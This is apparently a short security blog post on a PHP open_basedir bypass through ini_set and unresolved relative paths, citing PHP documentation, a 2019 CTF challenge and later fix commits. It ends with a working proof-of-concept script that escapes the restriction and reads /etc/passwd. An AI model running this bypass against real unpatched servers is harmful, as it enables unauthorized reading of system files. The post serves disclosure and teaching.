Title: ini_set based open_basedir bypass
Date: 2023-11-03 16:30

This one was burned by [Blaklis](https://twitter.com/Blaklis_) in 2019,
by being the expected solution for his 
[Phuck3](https://github.com/Blaklis/my-challenges/tree/master/phuck3) challenge
for InsomniHack Finals 2019, but has been known long before.

In the words of [PHP's documentation](https://www.php.net/manual/en/ini.core.php#ini.open-basedir) on `open_basedir`:

> When a script tries to access the filesystem, for example using include,
or fopen(), the location of the file is checked. When the file is outside the
specified directory-tree, PHP will refuse to access it. All symbolic links are
resolved, so it's not possible to avoid this restriction with a symlink. If the
file doesn't exist then the symlink couldn't be resolved and the filename is
compared to (a resolved) open_basedir. 
>
> […]
>
>  open_basedir is just an extra safety net, that is in no way comprehensive, and can therefore not be relied upon when security is needed. 

It has been more or less fixed in [March 2021](https://github.com/php/php-src/commit/ee9e07541f9f07762e3ee781102eea3a4190787c),
then again in [March 2023](https://github.com/php/php-src/commit/61e98bf35eb939bdd7b27ad7938f8549db2e1551),
and again in [July 2023](https://github.com/php/php-src/commit/9bcdf219ec6e8d6c2a55f1712b7d868b9129ef8d).
But I wouldn't be surprised if more low-hanging bypasses were lurking ;)

The crux of the bypass is that php didn't resolve relative paths both in
`ini_set` and when checking `php_check_open_basedir`:

```php
<?php
echo ini_get('open_basedir'); // /var/www/html
mkdir('./tmp');
chdir('./tmp');
ini_set('open_basedir', '..');
for ($i = 1; $i <= 24; $i++) {
    chdir('..');
}
ini_set('open_basedir','/')
echo file_get_contents("/etc/passwd");
```
